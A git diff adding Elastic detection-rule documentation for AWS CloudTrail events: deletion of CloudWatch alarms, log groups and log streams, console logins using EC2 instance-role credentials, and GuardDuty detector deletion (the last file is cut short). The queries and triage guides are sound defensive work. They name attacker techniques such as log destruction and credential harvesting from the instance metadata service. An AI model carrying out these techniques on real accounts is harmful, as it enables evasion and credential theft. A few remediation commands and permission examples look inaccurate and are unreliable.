diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion.asciidoc
new file mode 100644
index 0000000000..a03c1ab31a
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion.asciidoc
@@ -0,0 +1,171 @@
+[[prebuilt-rule-8-19-11-aws-cloudwatch-alarm-deletion]]
+=== AWS CloudWatch Alarm Deletion
+
+Detects the deletion of one or more Amazon CloudWatch alarms using the "DeleteAlarms" API. CloudWatch alarms are critical for monitoring metrics and triggering alerts when thresholds are exceeded. An adversary may delete alarms to impair visibility, silence alerts, and evade detection following malicious activity. This behavior may occur during post-exploitation or cleanup phases to remove traces of compromise or disable automated responses.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudwatch/delete-alarms.html
+* https://docs.aws.amazon.com/AmazonCloudWatch/latest/APIReference/API_DeleteAlarms.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: Amazon CloudWatch
+* Resources: Investigation Guide
+* Tactic: Defense Evasion
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to your operational context.
+
+
+*Investigating AWS CloudWatch Alarm Deletion*
+
+
+Amazon CloudWatch is a monitoring and observability service that collects monitoring and operational data in the form of logs, metrics, and events for resources and applications. This data can be used to detect anomalous behavior in your environments, set alarms, visualize logs and metrics side by side, take automated actions, troubleshoot issues, and discover insights to keep your applications running smoothly.
+
+Amazon CloudWatch Alarms monitor key metrics and trigger automated alerts or remediation workflows. Deleting these alarms disables monitoring of associated metrics and can delay detection of performance degradation or security incidents. Attackers may delete alarms to evade detection, suppress alerts, or disable security automation that responds to anomalies or policy violations.
+
+This rule detects successful calls to the `DeleteAlarms` API via CloudTrail. These events should be rare and always associated with a valid change-control request or automation pipeline.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion.
+  - Check whether this actor typically performs CloudWatch management or automation tasks.
+
+- **Review request details**
+  - Inspect `aws.cloudtrail.request_parameters` or `target.entity.id` for the specific alarm names deleted. 
+  - Determine whether the alarms were security-related (e.g., CloudTrail log delivery, GuardDuty finding rate, or IAM API monitoring alarms).
+  - Cross-reference deleted alarms with your organization's list of critical monitoring configurations.
+
+- **Analyze source and context**
+  - Review `source.ip` and `user_agent.original` for anomalies such as external IPs, unusual user agents, or custom SDKs.
+  - Determine whether the activity occurred during a known maintenance window or from a trusted automation host.
+  - Examine `cloud.region` to identify whether alarms were deleted from unexpected regions.
+
+- **Correlate with surrounding events**
+  - Review CloudTrail events for related activity around the same time, such as:
+    - `PutMetricAlarm`, `DisableAlarmActions`, or `DeleteLogGroup`
+    - Changes to CloudTrail, Config, or GuardDuty configurations
+    - IAM policy or permission modifications that could facilitate evasion
+  - Identify whether the same actor has previously modified logging or monitoring infrastructure.
+
+- **Assess impact and scope**
+  - Determine which systems or detection workflows relied on the deleted alarms.
+  - Review whether the deletion affected automated responses, notifications, or third-party integrations (e.g., SNS, Lambda, or PagerDuty).
+
+
+*False positive analysis*
+
+
+- **Legitimate automation or redeployment**
+  - Infrastructure as Code (IaC) frameworks such as Terraform or CloudFormation may delete and recreate alarms during updates.
+  - Validate automation account roles and ensure alarm deletions are immediately followed by re-creation actions.
+- **Operational maintenance**
+  - Scheduled monitoring cleanup, regional deactivation, or test environment resets can trigger legitimate deletions. 
+  - Verify timing and user identity against approved change management records.
+- **Organizational migrations**
+  - Security operations or DevOps teams may consolidate alarms during account merges or refactors. 
+  - Confirm intent with relevant teams and exclude authorized administrative accounts as necessary.
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - If the deletion was unauthorized, recreate the deleted alarms immediately using IaC templates or CloudFormation backups.
+  - Re-enable any dependent automation or alerts that rely on those alarms.
+  - Temporarily restrict CloudWatch modification privileges to designated IAM roles.
+
+- **Investigation**
+  - Review related CloudTrail logs for preceding IAM changes, STS activity, or anomalous role assumptions that might indicate compromised credentials.
+  - Investigate whether any alerts were suppressed or delayed prior to the deletion.
+
+- **Recovery and hardening**
+  - Implement AWS Config rules to continuously monitor alarm existence and alert on `DeleteAlarms` API calls.
+  - Restrict permissions to `cloudwatch:DeleteAlarms` and enforce MFA for users performing monitoring configuration changes.
+  - Maintain IaC definitions for all critical alarms to support rapid restoration.
+  - Audit IAM roles and automation accounts that manage CloudWatch configurations to ensure least privilege.
+  - Integrate alarm configuration checks into your CI/CD validation workflows.
+
+
+*Additional information*
+
+
+- **https://docs.aws.amazon.com/config/latest/developerguide/cloudwatch-alarm-action-check.html[AWS Config Rule – cloudwatch-alarm-action-check]**
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+  and event.provider: "monitoring.amazonaws.com" 
+  and event.action: "DeleteAlarms"
+  and event.outcome: "success"
+  and source.ip: *
+  and not user_agent.original : "AWS Internal"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
+* Sub-technique:
+** Name: Indicator Blocking
+** ID: T1562.006
+** Reference URL: https://attack.mitre.org/techniques/T1562/006/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion.asciidoc
new file mode 100644
index 0000000000..dc030551a7
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion.asciidoc
@@ -0,0 +1,195 @@
+[[prebuilt-rule-8-19-11-aws-cloudwatch-log-group-deletion]]
+=== AWS CloudWatch Log Group Deletion
+
+Detects the deletion of an Amazon CloudWatch Log Group using the "DeleteLogGroup" API. CloudWatch log groups store operational and security logs for AWS services and custom applications. Deleting a log group permanently removes all associated log streams and historical log data, which can eliminate forensic evidence and disrupt security monitoring pipelines. Adversaries may delete log groups to conceal malicious activity, disable log forwarding, or impede incident response.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-group.html
+* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: Amazon CloudWatch
+* Use Case: Log Auditing
+* Resources: Investigation Guide
+* Tactic: Defense Evasion
+* Tactic: Impact
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to your operational context.
+
+
+*Investigating AWS CloudWatch Log Group Deletion*
+
+
+CloudWatch Logs is foundational to AWS observability, SIEM ingestion, audit pipelines, and incident response.  
+Log groups often contain retention-critical logs such as:
+
+- VPC Flow Logs  
+- Lambda function logs  
+- Application and container logs  
+- Security service logs (e.g., AWS WAF, RDS logs)
+
+Deletion of a log group removes all historical log streams and cannot be reversed. 
+Adversaries may leverage `DeleteLogGroup` to impair forensic visibility, disrupt monitoring, and hide evidence following malicious actions. This rule detects a successful `DeleteLogGroup` event initiated from a non–AWS Internal user agent, signalling potential defense evasion or disruption of logging pipelines.
+
+
+*Possible investigation steps*
+
+
+ **Identify the actor**
+- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.  
+- Determine whether this identity normally modifies CloudWatch Logs or is associated with automation.
+
+**Review deletion details**
+- Inspect `aws.cloudtrail.request_parameters` or `target.entity.id` to determine the exact log group deleted.  
+- Assess whether the log group provided visibility into:
+  - CloudTrail processing,  
+  - Network flows (VPC Flow Logs),  
+  - Serverless/application security logs,  
+  - Lambda, ECS, EKS, or container workload logs.
+
+**Check source and context**
+- Assess `source.ip` for unusual IPs, geolocations, VPN endpoints, or cloud provider ranges unfamiliar to your environment.  
+- Review `user_agent.original` for unexpected tools (custom agents, unusual SDKs, attackers using CLI default agents).
+
+**Correlate with surrounding activity**
+Look for preceding or subsequent CloudTrail events such as:
+
+- `StopLogging`, `DeleteTrail`, or CloudTrail configuration changes  
+- IAM permission escalations (e.g., `PutUserPolicy`, `AttachRolePolicy`)  
+- Security service suppression actions (e.g., GuardDuty detector deletion)  
+- Lambda or application configuration updates that may indicate a compromise  
+
+If the deleted log group was associated with a Lambda execution role, review for suspicious code updates or rogue deployments.
+
+**Assess business or security impact**
+- Identify whether the deleted log group fed:
+  - SIEM ingestion  
+  - Security analytics pipelines  
+  - Compliance/audit logs  
+  - Operational monitoring or alerting  
+- Contact the service owner or development team to verify whether the deletion was intentional.
+
+**Determine compromise scope if malicious**
+- Use CloudTrail to identify prior activity by the same user identity or IP.  
+- Examine authentication events (IAM, STS) for signs of stolen credentials or session hijacking.  
+- Identify resources or applications dependent on the deleted logging pipeline.
+
+
+*False positive analysis*
+
+
+- **IaC-managed environments**: Tools like Terraform or CloudFormation may delete and recreate log groups during deployments.  
+- **Automated cleanup jobs**: Some environments use automated retention cleanup workflows.  
+- **Ephemeral testing accounts**: Development/testing accounts frequently create and destroy log groups.
+
+To tune noise:
+- Add exceptions for specific automation IAM roles or trusted source IPs.
+- Require `user_agent.original` and `source.ip` conditions for baseline-based tuning.
+
+
+*Response and remediation*
+
+
+**Containment**
+- Immediately recreate the deleted log group (if appropriate) using IaC or CloudWatch Console.  
+- Restrict the IAM identity that performed the deletion until the activity is validated.  
+- Enable or confirm CloudTrail logging in all regions to maintain broader visibility.
+
+**Investigation**
+- Review CloudTrail activity for:
+  - privilege escalation attempts,  
+  - IAM role modifications,  
+  - security service tampering (CloudTrail, Config, GuardDuty).  
+- Correlate with alerts from other services (GuardDuty, Security Hub, SIEM detections).
+
+**Recovery and hardening**
+- Enforce least privilege on `logs:DeleteLogGroup`.  
+- Configure AWS Config rules to alert on missing or modified log groups.  
+- Implement log group retention policies and IAM SCP guardrails to prevent unauthorized deletion.  
+- Document log group ownership and expected lifecycle management.
+
+
+*Additional information*
+
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+  and event.provider: "logs.amazonaws.com" 
+  and event.action: "DeleteLogGroup" 
+  and event.outcome: "success"
+  and source.ip: * 
+  and not user_agent.original : "AWS Internal"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Destruction
+** ID: T1485
+** Reference URL: https://attack.mitre.org/techniques/T1485/
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion.asciidoc
new file mode 100644
index 0000000000..f8a37817eb
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion.asciidoc
@@ -0,0 +1,184 @@
+[[prebuilt-rule-8-19-11-aws-cloudwatch-log-stream-deletion]]
+=== AWS CloudWatch Log Stream Deletion
+
+Detects the deletion of an Amazon CloudWatch log stream using the "DeleteLogStream" API. Deleting a log stream permanently removes its associated log events and may disrupt security visibility, break audit trails, or suppress forensic evidence. Adversaries may delete log streams to conceal malicious actions, impair monitoring pipelines, or remove artifacts generated during post-exploitation activity.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/logs/delete-log-stream.html
+* https://docs.aws.amazon.com/AmazonCloudWatchLogs/latest/APIReference/API_DeleteLogStream.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: Amazon CloudWatch
+* Use Case: Log Auditing
+* Tactic: Defense Evasion
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, validate and adapt it to your operational context.
+
+
+*Investigating AWS CloudWatch Log Stream Deletion*
+
+
+CloudWatch log streams contain sequential log events from a single application, service, or AWS resource.  
+Deleting a log stream permanently removes its archived log events, which may disable monitoring workflows, eliminate 
+critical telemetry, or disrupt forensic visibility.
+
+Adversaries may delete log streams to cover their tracks after unauthorized actions, break ingestion pipelines feeding SIEM, alerting, or anomaly detection or to remove evidence before escalating privileges or moving laterally. This rule detects successful invocations of the `DeleteLogStream` API from CloudTrail.
+
+
+*Possible investigation steps*
+
+
+- **Identify the actor**
+  - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.  
+  - Confirm whether the user or role normally manages CloudWatch Logs resources.
+
+- **Review request details**
+  - Inspect `aws.cloudtrail.request_parameters` to determine which log stream and parent log group were deleted.  
+  - Assess the importance of the deleted stream:
+    - Was it used for VPC Flow Logs, CloudTrail, Lambda functions, ECS tasks, or application logs?  
+    - Did it contain logs used for security detection or compliance auditing?
+
+- **Examine request origin and context**
+  - Review `source.ip` and `user_agent.original` for anomalies (e.g., unfamiliar CLI tools, suspicious automation, 
+    unknown IP ranges, or external geolocations).
+  - Validate whether the request originated from a legitimate automation host or jump box.  
+  - Check activity around the same timestamp for related operations such as:
+    - `DeleteLogGroup`
+    - `StopLogging`, `UpdateTrail`, or `DeleteTrail`
+    - GuardDuty detector or CloudWatch alarm deletions
+    - IAM policy or role modifications
+
+- **Determine operational justification**
+  - Consult change management systems or deployment pipelines to confirm whether the deletion was planned.  
+  - Contact application owners or platform teams to determine whether the log stream was part of normal rotation or cleanup.
+
+- **Investigate broader compromise indicators**
+  - Look for suspicious activity by the same identity in the past 24–48 hours, such as:
+    - Failed authentication attempts  
+    - IAM privilege escalations  
+    - Unusual STS AssumeRole usage  
+    - Access from new geolocations  
+
+
+*False positive analysis*
+
+
+- **Log rotation and automation**
+  - Some systems delete log streams automatically when rolling new deployments or recycling compute resources.
+  - CI/CD pipelines managing immutable infrastructure may delete and recreate streams during each deploy.
+
+- **Test and development accounts**
+  - Dev/test environments may frequently create and delete log streams as part of iterative work.
+
+- **Bulk cleanup operations**
+  - Platform engineering teams may delete obsolete log streams during cost-optimization or log-retention management.
+
+If the rule triggers frequently from known infrastructure accounts or automation hosts, consider adding narrow exceptions using a combination of IAM role, IP range, or user agent.
+
+
+*Response and remediation*
+
+
+- **Containment**
+  - If the deletion is unauthorized, review other CloudWatch resources for additional tampering (alarms, log groups, metric filters).
+  - Temporarily restrict permissions for the implicated IAM user or role.
+
+- **Investigation**
+  - Reconstruct any missing telemetry from alternative sources (e.g., S3 buckets, application logs, third-party logging systems).
+  - Review CloudTrail and Config timelines for preceding suspicious events.
+  - Validate whether the deleted log stream contained evidence of prior compromise.
+
+- **Recovery and hardening**
+  - Implement IAM least-privilege for `logs:DeleteLogStream`.
+  - Enable AWS Config rules to monitor CloudWatch Logs configuration changes.  
+  - Ensure that business-critical log groups enforce minimum retention periods and prevent accidental deletion.
+  - Integrate log stream lifecycle management into CI/CD to avoid manual deletions.
+  - Establish guardrails using Service Control Policies (SCPs) to block log deletions outside designated automation roles.
+
+
+*Additional information*
+
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset: "aws.cloudtrail" 
+  and event.provider: "logs.amazonaws.com" 
+  and event.action: "DeleteLogStream" 
+  and event.outcome: "success"
+  and source.ip: * 
+  and not user_agent.original : "AWS Internal"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Data Destruction
+** ID: T1485
+** Reference URL: https://attack.mitre.org/techniques/T1485/
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role.asciidoc
new file mode 100644
index 0000000000..d7f3d2123b
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role.asciidoc
@@ -0,0 +1,193 @@
+[[prebuilt-rule-8-19-11-aws-ec2-instance-console-login-via-assumed-role]]
+=== AWS EC2 Instance Console Login via Assumed Role
+
+Detects successful AWS Management Console or federation login activity performed using an EC2 instance’s assumed role credentials. EC2 instances typically use temporary credentials to make API calls, not to authenticate interactively via the console. A successful "ConsoleLogin" or "GetSigninToken" event using a session pattern that includes "i-" (the EC2 instance ID) is highly anomalous and may indicate that an adversary obtained the instance’s temporary credentials from the instance metadata service (IMDS) and used them to access the console. Such activity can enable lateral movement, privilege escalation, or persistence within the AWS account.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://redcanary.com/blog/aws-sts/
+* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_enable-console-custom-url.html/
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS EC2
+* Data Source: AWS STS
+* Data Source: AWS Sign-In
+* Use Case: Identity and Access Audit
+* Tactic: Lateral Movement
+* Tactic: Credential Access
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 5
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS EC2 Instance Console Login via Assumed Role*
+
+
+This rule detects successful AWS console or federation logins using temporary credentials tied to EC2 instance profiles. Under normal conditions, EC2 instances use their temporary credentials for programmatic API access — **not** for interactive console sessions. When an attacker gains access to an instance’s IMDS (Instance Metadata Service) or its environment variables, they may retrieve temporary STS credentials and attempt console logins to gain full access to the AWS account. A successful login of this type is rare and high-risk, as it strongly suggests credential theft or unauthorized session hijacking.
+
+
+*Possible investigation steps*
+
+
+- **Identify the source and actor**
+  - Review `aws.cloudtrail.user_identity.arn`, `user.id`, and `user_agent.original` fields to confirm the session originated from an EC2 instance (`:i-` pattern).
+  - Correlate the instance ID (`i-xxxxxx`) with the specific EC2 instance in your environment to identify its owner, purpose, and running applications.
+  - Check `source.ip` and `cloud.region` to determine if the login originated from within AWS infrastructure (expected) or an external location (suspicious).
+
+- **Correlate surrounding activity**
+  - Pivot in Timeline to view the sequence of events leading up to the login, including:
+    - STS token retrievals (`GetSessionToken`, `AssumeRole`, `GetCallerIdentity`)
+    - Calls to the IMDS endpoint or local credential exfiltration attempts from the instance.
+  - Investigate whether the same role or credentials were used for API actions following the login (e.g., `CreateUser`, `AttachRolePolicy`, or `ListBuckets`).
+
+- **Assess IAM role exposure**
+  - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions.
+  - Evaluate whether the role grants console access or permissions beyond what that workload normally requires.
+  - Check for any recent changes to that role’s trust policy or attached policies.
+
+- **Validate authorization**
+  - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console.
+  - If no legitimate activity can explain the login, treat the credentials as compromised.
+
+
+*False positive analysis*
+
+
+This is very uncommon behavior.  
+Known legitimate causes include:
+- AWS or internal security automation that programmatically initiates console sessions for validation or testing.
+- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance.
+- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios.
+
+For any other occurrence, treat the alert as potentially malicious.  
+Validate through:
+- The originating instance’s purpose and owner.
+- Known automation patterns in `user_agent.original`.
+- The timestamp alignment with planned testing or security validation.
+
+
+*Response and remediation*
+
+
+- **Immediate containment**
+  - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials).
+  - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse.
+  - Invalidate active console sessions via AWS CLI or the AWS Console.
+
+- **Investigation and scoping**
+  - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours.
+  - Determine if additional roles or instances show similar `ConsoleLogin` patterns.
+  - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users).
+
+- **Recovery and hardening**
+  - Rotate all credentials for affected roles and users.
+  - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata.
+  - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles.
+
+
+*Additional information*
+
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+info where event.dataset == "aws.cloudtrail"
+   and event.provider == "signin.amazonaws.com"
+   and event.action in ("ConsoleLogin", "GetSigninToken")
+   and event.outcome == "success"
+   and aws.cloudtrail.user_identity.type == "AssumedRole"
+   and stringContains (user.id, ":i-")
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Remote Services
+** ID: T1021
+** Reference URL: https://attack.mitre.org/techniques/T1021/
+* Sub-technique:
+** Name: Cloud Services
+** ID: T1021.007
+** Reference URL: https://attack.mitre.org/techniques/T1021/007/
+* Technique:
+** Name: Use Alternate Authentication Material
+** ID: T1550
+** Reference URL: https://attack.mitre.org/techniques/T1550/
+* Sub-technique:
+** Name: Application Access Token
+** ID: T1550.001
+** Reference URL: https://attack.mitre.org/techniques/T1550/001/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Cloud Accounts
+** ID: T1078.004
+** Reference URL: https://attack.mitre.org/techniques/T1078/004/
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Unsecured Credentials
+** ID: T1552
+** Reference URL: https://attack.mitre.org/techniques/T1552/
+* Sub-technique:
+** Name: Cloud Instance Metadata API
+** ID: T1552.005
+** Reference URL: https://attack.mitre.org/techniques/T1552/005/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-guardduty-detector-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-guardduty-detector-deletion.asciidoc
new file mode 100644
index 0000000000..5568211733
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-aws-guardduty-detector-deletion.asciidoc
@@ -0,0 +1,152 @@
+[[prebuilt-rule-8-19-11-aws-guardduty-detector-deletion]]
+=== AWS GuardDuty Detector Deletion
+
+Detects the deletion of an Amazon GuardDuty detector. GuardDuty provides continuous monitoring for malicious or unauthorized activity across AWS accounts. Deleting the detector disables this visibility, stopping all threat detection and removing existing findings. Adversaries may delete GuardDuty detectors to impair security monitoring and evade detection during or after an intrusion. This rule identifies successful "DeleteDetector" API calls and can indicate a deliberate defense evasion attempt.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/guardduty/latest/APIReference/API_DeleteDetector.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS GuardDuty
+* Tactic: Defense Evasion
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. 
+> While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating AWS GuardDuty Detector Deletion*
+
+
